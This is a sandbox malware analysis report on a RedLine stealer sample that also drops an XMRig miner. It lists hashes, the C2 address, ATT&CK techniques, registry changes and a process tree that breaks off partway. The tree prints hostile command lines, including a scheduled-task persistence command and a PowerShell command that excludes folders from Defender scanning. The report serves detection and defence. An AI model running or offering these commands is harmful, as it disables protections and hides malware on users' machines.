redline | ee7bcd123bdf13062144079e96a17187314210ae04a562142d5db42ba87ea315

Analysis

max time kernel
302s
max time network
291s
platform
windows10-1703_x64
resource
win10-20220812-en
resource tags

arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
submitted
20-10-2022 22:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ee7bcd123bdf13062144079e96a17187314210ae04a562142d5db42ba87ea315.exe
Size

344KB
MD5

2208438b211ccae1c2d790d4c9c140ca
SHA1

0d0968fc9dc02d1f6eb9da82efad1051fc55f67f
SHA256

ee7bcd123bdf13062144079e96a17187314210ae04a562142d5db42ba87ea315
SHA512

2a41ff11938cadda6ec9878ab828395fa279acdd5bd9a123861dca92d0c162d60224ca3d0fc1db6ab62e11b61fe65c120533f79762ae12bcc2eba82e0b336cbf
SSDEEP

6144:5VtRNV51UBow3Dz6Qp/eGQyeIohhyKf/snpoXDTC1AO8:1HtEz6NyeIoiKfEnWzTC1A

Score

10^/10

redline xmrig 875784825 evasion infostealer miner spyware themida trojan upx

Malware Config

Extracted

Family

redline

Botnet

875784825

79.137.192.6:8362

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/100172-268-0x000000000041972E-mapping.dmp	family_redline
behavioral2/memory/100172-305-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

setup32.exeupdater.exeMoUSO.exesetup.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	MoUSO.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup.exe

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/8420-1220-0x00007FF632650000-0x00007FF632E44000-memory.dmp	xmrig
behavioral2/memory/8420-1221-0x00007FF632650000-0x00007FF632E44000-memory.dmp	xmrig

Downloads MZ/PE file
Drops file in Drivers directory 2 IoCs

Processes:

setup32.exeupdater.exe

description ioc process

File created C:\Windows\system32\drivers\etc\hosts setup32.exe
File created C:\Windows\system32\drivers\etc\hosts updater.exe
Executes dropped EXE 5 IoCs

Processes:

setup.exesetup32.exewatchdog.exeupdater.exeMoUSO.exe

pid process

2524 setup.exe
4308 setup32.exe
3060 watchdog.exe
4212 updater.exe
4772 MoUSO.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

description	ioc	process
File created	C:\Windows\system32\drivers\etc\hosts	setup32.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/8420-1220-0x00007FF632650000-0x00007FF632E44000-memory.dmp	upx
behavioral2/memory/8420-1221-0x00007FF632650000-0x00007FF632E44000-memory.dmp	upx

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

setup32.exeupdater.exeMoUSO.exesetup.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MoUSO.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	MoUSO.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup32.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

setup.exeMoUSO.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Wine	setup.exe
Key opened	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Wine	MoUSO.exe

Themida packer 10 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\setup32.exe	themida
behavioral2/memory/4308-210-0x00007FF7DB5A0000-0x00007FF7DC239000-memory.dmp	themida
behavioral2/memory/4308-262-0x00007FF7DB5A0000-0x00007FF7DC239000-memory.dmp	themida
C:\Users\Admin\AppData\Local\Temp\setup32.exe	themida
behavioral2/memory/4308-453-0x00007FF7DB5A0000-0x00007FF7DC239000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral2/memory/4212-470-0x00007FF6CD1B0000-0x00007FF6CDE49000-memory.dmp	themida
behavioral2/memory/4212-779-0x00007FF6CD1B0000-0x00007FF6CDE49000-memory.dmp	themida
behavioral2/memory/4212-1216-0x00007FF6CD1B0000-0x00007FF6CDE49000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

setup32.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	setup32.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

setup.exesetup32.exeupdater.exeMoUSO.exe

pid process

2524 setup.exe
4308 setup32.exe
4212 updater.exe
4772 MoUSO.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

ee7bcd123bdf13062144079e96a17187314210ae04a562142d5db42ba87ea315.exewatchdog.exeupdater.exe

description	pid	process	target process
PID 4324 set thread context of 4388	4324	ee7bcd123bdf13062144079e96a17187314210ae04a562142d5db42ba87ea315.exe	RegSvcs.exe
PID 3060 set thread context of 100172	3060	watchdog.exe	vbc.exe
PID 4212 set thread context of 8272	4212	updater.exe	conhost.exe
PID 4212 set thread context of 8420	4212	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

setup32.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	setup32.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

2068 sc.exe
3820 sc.exe
3868 sc.exe
3872 sc.exe
6920 sc.exe
7124 sc.exe
2176 sc.exe
6884 sc.exe
7004 sc.exe
7052 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

4236 schtasks.exe

pid	process
2068	sc.exe
3820	sc.exe
3868	sc.exe
3872	sc.exe
6920	sc.exe
7124	sc.exe
2176	sc.exe
6884	sc.exe
7004	sc.exe
7052	sc.exe

pid	process
4236	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

setup.exepowershell.exepowershell.exepowershell.exevbc.exeMoUSO.exe

pid	process
2524	setup.exe
2524	setup.exe
5028	powershell.exe
5028	powershell.exe
5028	powershell.exe
3352	powershell.exe
3352	powershell.exe
3352	powershell.exe
4552	powershell.exe
4552	powershell.exe
4552	powershell.exe
100172	vbc.exe
100172	vbc.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe
4772	MoUSO.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

624

pid	process
624

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

vbc.exepowershell.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	100172	vbc.exe
Token: SeDebugPrivilege	5028	powershell.exe
Token: SeIncreaseQuotaPrivilege	5028	powershell.exe
Token: SeSecurityPrivilege	5028	powershell.exe
Token: SeTakeOwnershipPrivilege	5028	powershell.exe
Token: SeLoadDriverPrivilege	5028	powershell.exe
Token: SeSystemProfilePrivilege	5028	powershell.exe
Token: SeSystemtimePrivilege	5028	powershell.exe
Token: SeProfSingleProcessPrivilege	5028	powershell.exe
Token: SeIncBasePriorityPrivilege	5028	powershell.exe
Token: SeCreatePagefilePrivilege	5028	powershell.exe
Token: SeBackupPrivilege	5028	powershell.exe
Token: SeRestorePrivilege	5028	powershell.exe
Token: SeShutdownPrivilege	5028	powershell.exe
Token: SeDebugPrivilege	5028	powershell.exe
Token: SeSystemEnvironmentPrivilege	5028	powershell.exe
Token: SeRemoteShutdownPrivilege	5028	powershell.exe
Token: SeUndockPrivilege	5028	powershell.exe
Token: SeManageVolumePrivilege	5028	powershell.exe
Token: 33	5028	powershell.exe
Token: 34	5028	powershell.exe
Token: 35	5028	powershell.exe
Token: 36	5028	powershell.exe
Token: SeShutdownPrivilege	3312	powercfg.exe
Token: SeCreatePagefilePrivilege	3312	powercfg.exe
Token: SeShutdownPrivilege	2084	powercfg.exe
Token: SeCreatePagefilePrivilege	2084	powercfg.exe
Token: SeDebugPrivilege	3352	powershell.exe
Token: SeShutdownPrivilege	4152	powercfg.exe
Token: SeCreatePagefilePrivilege	4152	powercfg.exe
Token: SeShutdownPrivilege	2060	powercfg.exe
Token: SeCreatePagefilePrivilege	2060	powercfg.exe
Token: SeIncreaseQuotaPrivilege	3352	powershell.exe
Token: SeSecurityPrivilege	3352	powershell.exe
Token: SeTakeOwnershipPrivilege	3352	powershell.exe
Token: SeLoadDriverPrivilege	3352	powershell.exe
Token: SeSystemProfilePrivilege	3352	powershell.exe
Token: SeSystemtimePrivilege	3352	powershell.exe
Token: SeProfSingleProcessPrivilege	3352	powershell.exe
Token: SeIncBasePriorityPrivilege	3352	powershell.exe
Token: SeCreatePagefilePrivilege	3352	powershell.exe
Token: SeBackupPrivilege	3352	powershell.exe
Token: SeRestorePrivilege	3352	powershell.exe
Token: SeShutdownPrivilege	3352	powershell.exe
Token: SeDebugPrivilege	3352	powershell.exe
Token: SeSystemEnvironmentPrivilege	3352	powershell.exe
Token: SeRemoteShutdownPrivilege	3352	powershell.exe
Token: SeUndockPrivilege	3352	powershell.exe
Token: SeManageVolumePrivilege	3352	powershell.exe
Token: 33	3352	powershell.exe
Token: 34	3352	powershell.exe
Token: 35	3352	powershell.exe
Token: 36	3352	powershell.exe
Token: SeIncreaseQuotaPrivilege	3352	powershell.exe
Token: SeSecurityPrivilege	3352	powershell.exe
Token: SeTakeOwnershipPrivilege	3352	powershell.exe
Token: SeLoadDriverPrivilege	3352	powershell.exe
Token: SeSystemProfilePrivilege	3352	powershell.exe
Token: SeSystemtimePrivilege	3352	powershell.exe
Token: SeProfSingleProcessPrivilege	3352	powershell.exe
Token: SeIncBasePriorityPrivilege	3352	powershell.exe
Token: SeCreatePagefilePrivilege	3352	powershell.exe
Token: SeBackupPrivilege	3352	powershell.exe
Token: SeRestorePrivilege	3352	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

ee7bcd123bdf13062144079e96a17187314210ae04a562142d5db42ba87ea315.exeRegSvcs.exesetup.exewatchdog.exesetup32.execmd.execmd.exe

description	pid	process	target process
PID 4324 wrote to memory of 4388	4324	ee7bcd123bdf13062144079e96a17187314210ae04a562142d5db42ba87ea315.exe	RegSvcs.exe
PID 4324 wrote to memory of 4388	4324	ee7bcd123bdf13062144079e96a17187314210ae04a562142d5db42ba87ea315.exe	RegSvcs.exe
PID 4324 wrote to memory of 4388	4324	ee7bcd123bdf13062144079e96a17187314210ae04a562142d5db42ba87ea315.exe	RegSvcs.exe
PID 4324 wrote to memory of 4388	4324	ee7bcd123bdf13062144079e96a17187314210ae04a562142d5db42ba87ea315.exe	RegSvcs.exe
PID 4324 wrote to memory of 4388	4324	ee7bcd123bdf13062144079e96a17187314210ae04a562142d5db42ba87ea315.exe	RegSvcs.exe
PID 4324 wrote to memory of 4388	4324	ee7bcd123bdf13062144079e96a17187314210ae04a562142d5db42ba87ea315.exe	RegSvcs.exe
PID 4324 wrote to memory of 4388	4324	ee7bcd123bdf13062144079e96a17187314210ae04a562142d5db42ba87ea315.exe	RegSvcs.exe
PID 4324 wrote to memory of 4388	4324	ee7bcd123bdf13062144079e96a17187314210ae04a562142d5db42ba87ea315.exe	RegSvcs.exe
PID 4324 wrote to memory of 4388	4324	ee7bcd123bdf13062144079e96a17187314210ae04a562142d5db42ba87ea315.exe	RegSvcs.exe
PID 4324 wrote to memory of 4388	4324	ee7bcd123bdf13062144079e96a17187314210ae04a562142d5db42ba87ea315.exe	RegSvcs.exe
PID 4324 wrote to memory of 4388	4324	ee7bcd123bdf13062144079e96a17187314210ae04a562142d5db42ba87ea315.exe	RegSvcs.exe
PID 4388 wrote to memory of 2524	4388	RegSvcs.exe	setup.exe
PID 4388 wrote to memory of 2524	4388	RegSvcs.exe	setup.exe
PID 4388 wrote to memory of 2524	4388	RegSvcs.exe	setup.exe
PID 4388 wrote to memory of 4308	4388	RegSvcs.exe	setup32.exe
PID 4388 wrote to memory of 4308	4388	RegSvcs.exe	setup32.exe
PID 2524 wrote to memory of 4236	2524	setup.exe	schtasks.exe
PID 2524 wrote to memory of 4236	2524	setup.exe	schtasks.exe
PID 2524 wrote to memory of 4236	2524	setup.exe	schtasks.exe
PID 4388 wrote to memory of 3060	4388	RegSvcs.exe	watchdog.exe
PID 4388 wrote to memory of 3060	4388	RegSvcs.exe	watchdog.exe
PID 4388 wrote to memory of 3060	4388	RegSvcs.exe	watchdog.exe
PID 3060 wrote to memory of 100172	3060	watchdog.exe	vbc.exe
PID 3060 wrote to memory of 100172	3060	watchdog.exe	vbc.exe
PID 3060 wrote to memory of 100172	3060	watchdog.exe	vbc.exe
PID 3060 wrote to memory of 100172	3060	watchdog.exe	vbc.exe
PID 3060 wrote to memory of 100172	3060	watchdog.exe	vbc.exe
PID 4308 wrote to memory of 5028	4308	setup32.exe	powershell.exe
PID 4308 wrote to memory of 5028	4308	setup32.exe	powershell.exe
PID 4308 wrote to memory of 3292	4308	setup32.exe	cmd.exe
PID 4308 wrote to memory of 3292	4308	setup32.exe	cmd.exe
PID 4308 wrote to memory of 3344	4308	setup32.exe	cmd.exe
PID 4308 wrote to memory of 3344	4308	setup32.exe	cmd.exe
PID 4308 wrote to memory of 3352	4308	setup32.exe	powershell.exe
PID 4308 wrote to memory of 3352	4308	setup32.exe	powershell.exe
PID 3344 wrote to memory of 3312	3344	cmd.exe	powercfg.exe
PID 3344 wrote to memory of 3312	3344	cmd.exe	powercfg.exe
PID 3344 wrote to memory of 2084	3344	cmd.exe	powercfg.exe
PID 3344 wrote to memory of 2084	3344	cmd.exe	powercfg.exe
PID 3292 wrote to memory of 2068	3292	cmd.exe	sc.exe
PID 3292 wrote to memory of 2068	3292	cmd.exe	sc.exe
PID 3344 wrote to memory of 4152	3344	cmd.exe	powercfg.exe
PID 3344 wrote to memory of 4152	3344	cmd.exe	powercfg.exe
PID 3292 wrote to memory of 2176	3292	cmd.exe	sc.exe
PID 3292 wrote to memory of 2176	3292	cmd.exe	sc.exe
PID 3344 wrote to memory of 2060	3344	cmd.exe	powercfg.exe
PID 3344 wrote to memory of 2060	3344	cmd.exe	powercfg.exe
PID 3292 wrote to memory of 3820	3292	cmd.exe	sc.exe
PID 3292 wrote to memory of 3820	3292	cmd.exe	sc.exe
PID 3292 wrote to memory of 3868	3292	cmd.exe	sc.exe
PID 3292 wrote to memory of 3868	3292	cmd.exe	sc.exe
PID 3292 wrote to memory of 3872	3292	cmd.exe	sc.exe
PID 3292 wrote to memory of 3872	3292	cmd.exe	sc.exe
PID 3292 wrote to memory of 4324	3292	cmd.exe	reg.exe
PID 3292 wrote to memory of 4324	3292	cmd.exe	reg.exe
PID 3292 wrote to memory of 4912	3292	cmd.exe	reg.exe
PID 3292 wrote to memory of 4912	3292	cmd.exe	reg.exe
PID 3292 wrote to memory of 348	3292	cmd.exe	reg.exe
PID 3292 wrote to memory of 348	3292	cmd.exe	reg.exe
PID 3292 wrote to memory of 4000	3292	cmd.exe	reg.exe
PID 3292 wrote to memory of 4000	3292	cmd.exe	reg.exe
PID 3292 wrote to memory of 3980	3292	cmd.exe	reg.exe
PID 3292 wrote to memory of 3980	3292	cmd.exe	reg.exe
PID 4308 wrote to memory of 4552	4308	setup32.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\ee7bcd123bdf13062144079e96a17187314210ae04a562142d5db42ba87ea315.exe
"C:\Users\Admin\AppData\Local\Temp\ee7bcd123bdf13062144079e96a17187314210ae04a562142d5db42ba87ea315.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4324

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:4388

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2524

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /TN Cache-S-21-2946144819-3e21f723 /TR "C:\Users\Admin\AppData\Local\cache\MoUSO.exe"
4⤵
- Creates scheduled task(s)
PID:4236

C:\Users\Admin\AppData\Local\Temp\setup32.exe
"C:\Users\Admin\AppData\Local\Temp\setup32.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4308

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5028

C:\Windows\SYSTEM32\cmd.exe
